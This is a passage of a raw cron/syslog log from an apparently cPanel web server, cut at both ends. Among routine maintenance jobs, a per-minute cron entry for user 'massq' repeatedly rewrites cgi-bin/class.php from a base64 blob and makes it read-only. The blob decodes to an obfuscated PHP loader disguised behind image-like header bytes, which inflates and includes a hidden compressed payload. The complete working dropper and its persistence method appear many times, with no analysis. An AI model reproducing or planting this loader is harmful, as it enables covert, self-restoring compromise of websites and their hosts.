VyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 02:51:01 server CROND[7514]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 02:51:01 server CROND[7515]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 02:52:01 server CROND[7904]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 02:52:01 server CROND[7903]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 02:52:01 server CROND[7905]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 02:53:01 server CROND[8396]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 02:53:01 server CROND[8397]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 02:53:01 server CROND[8398]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 02:54:01 server CROND[8780]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 02:54:01 server CROND[8782]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 02:54:01 server CROND[8783]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 02:55:01 server CROND[9177]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 02:55:01 server CROND[9184]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 02:55:01 server CROND[9183]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 02:55:01 server CROND[9197]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 02:55:01 server CROND[9196]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 02:55:01 server CROND[9198]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 02:55:01 server CROND[9199]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 02:56:01 server CROND[10024]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 02:56:01 server CROND[10025]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 02:56:01 server CROND[10026]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 02:57:01 server CROND[10411]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 02:57:01 server CROND[10412]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 02:57:01 server CROND[10414]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 02:57:01 server CROND[10413]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 02:58:01 server CROND[10794]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 02:58:01 server CROND[10795]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 02:58:01 server CROND[10796]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 02:59:01 server CROND[11292]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 02:59:01 server CROND[11291]: (root) CMD (/usr/local/cpanel/whostmgr/docroot/cgi/cpaddons_report.pl --notify)
Aug 31 02:59:01 server CROND[11294]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 02:59:01 server CROND[11293]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 03:00:01 server CROND[11764]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 03:00:01 server CROND[11765]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 03:00:01 server CROND[11767]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 03:00:01 server CROND[11771]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 03:00:01 server CROND[11773]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 03:00:01 server CROND[11774]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 03:00:01 server CROND[11775]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 03:00:01 server CROND[11772]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Aug 31 03:00:01 server CROND[11776]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 03:01:01 server CROND[12671]: (root) CMD (run-parts /etc/cron.hourly)
Aug 31 03:01:01 server CROND[12672]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 03:01:01 server CROND[12673]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 03:01:01 server CROND[12674]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 03:01:01 server run-parts(/etc/cron.hourly)[12671]: starting 0anacron
Aug 31 03:01:01 server anacron[12694]: Anacron started on 2026-08-31
Aug 31 03:01:01 server anacron[12694]: Will run job `cron.daily' in 39 min.
Aug 31 03:01:01 server anacron[12694]: Will run job `cron.weekly' in 59 min.
Aug 31 03:01:01 server anacron[12694]: Jobs will be executed sequentially
Aug 31 03:01:01 server run-parts(/etc/cron.hourly)[12696]: finished 0anacron
Aug 31 03:02:01 server CROND[13075]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 03:02:01 server CROND[13076]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 03:02:01 server CROND[13077]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 03:03:01 server CROND[13619]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 03:03:01 server CROND[13620]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 03:03:01 server CROND[13622]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo 